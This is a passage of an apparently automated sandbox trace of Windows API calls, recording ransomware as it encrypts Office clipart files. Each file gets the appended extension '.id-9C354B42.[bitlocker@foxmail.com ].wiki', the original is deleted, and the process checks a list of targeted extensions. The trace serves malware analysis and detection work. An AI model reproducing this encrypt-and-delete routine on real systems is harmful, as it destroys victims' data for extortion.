dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0198.629] GetLastError () returned 0x0 [0198.629] ReadFile (in: hFile=0x1fc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x1fc8, lpOverlapped=0x0) returned 1 [0198.630] WriteFile (in: hFile=0x1d0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x1fd0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x1fd0, lpOverlapped=0x0) returned 1 [0198.631] ReadFile (in: hFile=0x1fc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0198.631] WriteFile (in: hFile=0x1d0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0198.631] SetEndOfFile (hFile=0x1d0) returned 1 [0198.631] CloseHandle (hObject=0x1d0) returned 1 [0198.631] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.632] SetEndOfFile (hFile=0x1fc) returned 1 [0198.632] CloseHandle (hObject=0x1fc) returned 1 [0198.632] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0198.632] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153091.wmf")) returned 1 [0198.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF") returned 63 [0198.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF") returned 63 [0198.633] lstrlenW (lpString=".doc") returned 4 [0198.633] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.633] lstrlenW (lpString=".docx") returned 5 [0198.633] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0198.633] lstrlenW (lpString=".pdf") returned 4 [0198.633] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.633] lstrlenW (lpString=".xls") returned 4 [0198.633] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.633] lstrlenW (lpString=".xlsx") returned 5 [0198.633] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0198.633] lstrlenW (lpString=".ppt") returned 4 [0198.633] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF") returned 63 [0198.633] lstrlenW (lpString=".zip") returned 4 [0198.633] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.633] lstrlenW (lpString=".rar") returned 4 [0198.633] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.633] lstrlenW (lpString=".bz2") returned 4 [0198.633] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.633] lstrlenW (lpString=".7z") returned 3 [0198.633] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF") returned 63 [0198.633] lstrlenW (lpString=".dbf") returned 4 [0198.633] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF") returned 63 [0198.633] lstrlenW (lpString=".1cd") returned 4 [0198.633] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF") returned 63 [0198.633] lstrlenW (lpString=".jpg") returned 4 [0198.634] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF") returned 63 [0198.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF") returned 63 [0198.634] lstrlenW (lpString=".doc") returned 4 [0198.634] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.634] lstrlenW (lpString=".docx") returned 5 [0198.634] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0198.634] lstrlenW (lpString=".pdf") returned 4 [0198.634] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.634] lstrlenW (lpString=".xls") returned 4 [0198.634] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.634] lstrlenW (lpString=".xlsx") returned 5 [0198.634] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0198.634] lstrlenW (lpString=".ppt") returned 4 [0198.634] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF") returned 63 [0198.634] lstrlenW (lpString=".zip") returned 4 [0198.634] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.634] lstrlenW (lpString=".rar") returned 4 [0198.634] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.634] lstrlenW (lpString=".bz2") returned 4 [0198.634] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.634] lstrlenW (lpString=".7z") returned 3 [0198.634] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF") returned 63 [0198.634] lstrlenW (lpString=".dbf") returned 4 [0198.634] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF") returned 63 [0198.634] lstrlenW (lpString=".1cd") returned 4 [0198.634] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF") returned 63 [0198.634] lstrlenW (lpString=".jpg") returned 4 [0198.634] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.635] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0198.635] lstrlenW (lpString="J0153093.WMF") returned 12 [0198.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0198.704] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=8880) returned 1 [0198.704] CloseHandle (hObject=0x1f0) returned 1 [0198.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf")) returned 0x20 [0198.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0198.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0198.756] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.756] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0198.897] GetLastError () returned 0x0 [0198.897] ReadFile (in: hFile=0x1fc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x22b0, lpOverlapped=0x0) returned 1 [0198.920] WriteFile (in: hFile=0x1f0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x22c0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x22c0, lpOverlapped=0x0) returned 1 [0198.921] ReadFile (in: hFile=0x1fc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0198.922] WriteFile (in: hFile=0x1f0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0198.922] SetEndOfFile (hFile=0x1f0) returned 1 [0198.922] CloseHandle (hObject=0x1f0) returned 1 [0198.922] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.922] SetEndOfFile (hFile=0x1fc) returned 1 [0198.923] CloseHandle (hObject=0x1fc) returned 1 [0198.923] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0198.923] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf")) returned 1 [0198.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF") returned 63 [0198.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF") returned 63 [0198.923] lstrlenW (lpString=".doc") returned 4 [0198.923] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.923] lstrlenW (lpString=".docx") returned 5 [0198.923] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0198.923] lstrlenW (lpString=".pdf") returned 4 [0198.923] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.923] lstrlenW (lpString=".xls") returned 4 [0198.923] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.923] lstrlenW (lpString=".xlsx") returned 5 [0198.923] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0198.923] lstrlenW (lpString=".ppt") returned 4 [0198.923] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF") returned 63 [0198.923] lstrlenW (lpString=".zip") returned 4 [0198.924] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.924] lstrlenW (lpString=".rar") returned 4 [0198.924] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.924] lstrlenW (lpString=".bz2") returned 4 [0198.924] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.924] lstrlenW (lpString=".7z") returned 3 [0198.924] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF") returned 63 [0198.924] lstrlenW (lpString=".dbf") returned 4 [0198.924] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF") returned 63 [0198.924] lstrlenW (lpString=".1cd") returned 4 [0198.924] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF") returned 63 [0198.924] lstrlenW (lpString=".jpg") returned 4 [0198.924] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF") returned 63 [0198.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF") returned 63 [0198.924] lstrlenW (lpString=".doc") returned 4 [0198.924] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.924] lstrlenW (lpString=".docx") returned 5 [0198.924] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0198.924] lstrlenW (lpString=".pdf") returned 4 [0198.924] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.924] lstrlenW (lpString=".xls") returned 4 [0198.924] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.924] lstrlenW (lpString=".xlsx") returned 5 [0198.924] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0198.924] lstrlenW (lpString=".ppt") returned 4 [0198.925] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF") returned 63 [0198.925] lstrlenW (lpString=".zip") returned 4 [0198.925] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.925] lstrlenW (lpString=".rar") returned 4 [0198.925] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.925] lstrlenW (lpString=".bz2") returned 4 [0198.925] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.925] lstrlenW (lpString=".7z") returned 3 [0198.925] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF") returned 63 [0198.925] lstrlenW (lpString=".dbf") returned 4 [0198.925] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF") returned 63 [0198.925] lstrlenW (lpString=".1cd") returned 4 [0198.925] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF") returned 63 [0198.925] lstrlenW (lpString=".jpg") returned 4 [0198.925] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.925] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0198.925] lstrlenW (lpString="J0157831.WMF") returned 12 [0198.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0198.926] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=11396) returned 1 [0198.926] CloseHandle (hObject=0x1fc) returned 1 [0198.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf")) returned 0x20 [0198.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0198.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0198.926] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.926] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0198.927] GetLastError () returned 0x0 [0198.927] ReadFile (in: hFile=0x1fc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x2c84, lpOverlapped=0x0) returned 1 [0198.929] WriteFile (in: hFile=0x1f0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x2c90, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x2c90, lpOverlapped=0x0) returned 1 [0198.930] ReadFile (in: hFile=0x1fc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0198.930] WriteFile (in: hFile=0x1f0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0198.930] SetEndOfFile (hFile=0x1f0) returned 1 [0198.930] CloseHandle (hObject=0x1f0) returned 1 [0198.930] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.930] SetEndOfFile (hFile=0x1fc) returned 1 [0198.931] CloseHandle (hObject=0x1fc) returned 1 [0198.931] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0198.931] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf")) returned 1 [0198.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF") returned 63 [0198.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF") returned 63 [0198.931] lstrlenW (lpString=".doc") returned 4 [0198.932] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.932] lstrlenW (lpString=".docx") returned 5 [0198.932] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0198.932] lstrlenW (lpString=".pdf") returned 4 [0198.932] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.932] lstrlenW (lpString=".xls") returned 4 [0198.932] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.932] lstrlenW (lpString=".xlsx") returned 5 [0198.932] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0198.932] lstrlenW (lpString=".ppt") returned 4 [0198.932] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF") returned 63 [0198.932] lstrlenW (lpString=".zip") returned 4 [0198.932] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.932] lstrlenW (lpString=".rar") returned 4 [0198.932] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.932] lstrlenW (lpString=".bz2") returned 4 [0198.932] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.932] lstrlenW (lpString=".7z") returned 3 [0198.932] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF") returned 63 [0198.932] lstrlenW (lpString=".dbf") returned 4 [0198.932] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF") returned 63 [0198.932] lstrlenW (lpString=".1cd") returned 4 [0198.932] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF") returned 63 [0198.932] lstrlenW (lpString=".jpg") returned 4 [0198.932] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF") returned 63 [0198.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF") returned 63 [0198.933] lstrlenW (lpString=".doc") returned 4 [0198.933] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.933] lstrlenW (lpString=".docx") returned 5 [0198.933] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0198.933] lstrlenW (lpString=".pdf") returned 4 [0198.933] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.933] lstrlenW (lpString=".xls") returned 4 [0198.933] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.933] lstrlenW (lpString=".xlsx") returned 5 [0198.933] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0198.933] lstrlenW (lpString=".ppt") returned 4 [0198.933] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF") returned 63 [0198.933] lstrlenW (lpString=".zip") returned 4 [0198.933] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.933] lstrlenW (lpString=".rar") returned 4 [0198.933] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.933] lstrlenW (lpString=".bz2") returned 4 [0198.933] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.933] lstrlenW (lpString=".7z") returned 3 [0198.933] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF") returned 63 [0198.933] lstrlenW (lpString=".dbf") returned 4 [0198.933] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF") returned 63 [0198.933] lstrlenW (lpString=".1cd") returned 4 [0198.933] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF") returned 63 [0198.933] lstrlenW (lpString=".jpg") returned 4 [0198.933] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.934] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0198.934] lstrlenW (lpString="J0158071.WMF") returned 12 [0198.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0198.934] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=18652) returned 1 [0198.934] CloseHandle (hObject=0x1fc) returned 1 [0198.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf")) returned 0x20 [0198.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0198.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0198.934] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.934] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0198.935] GetLastError () returned 0x0 [0198.935] ReadFile (in: hFile=0x1fc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x48dc, lpOverlapped=0x0) returned 1 [0198.937] WriteFile (in: hFile=0x1f0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x48e0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: 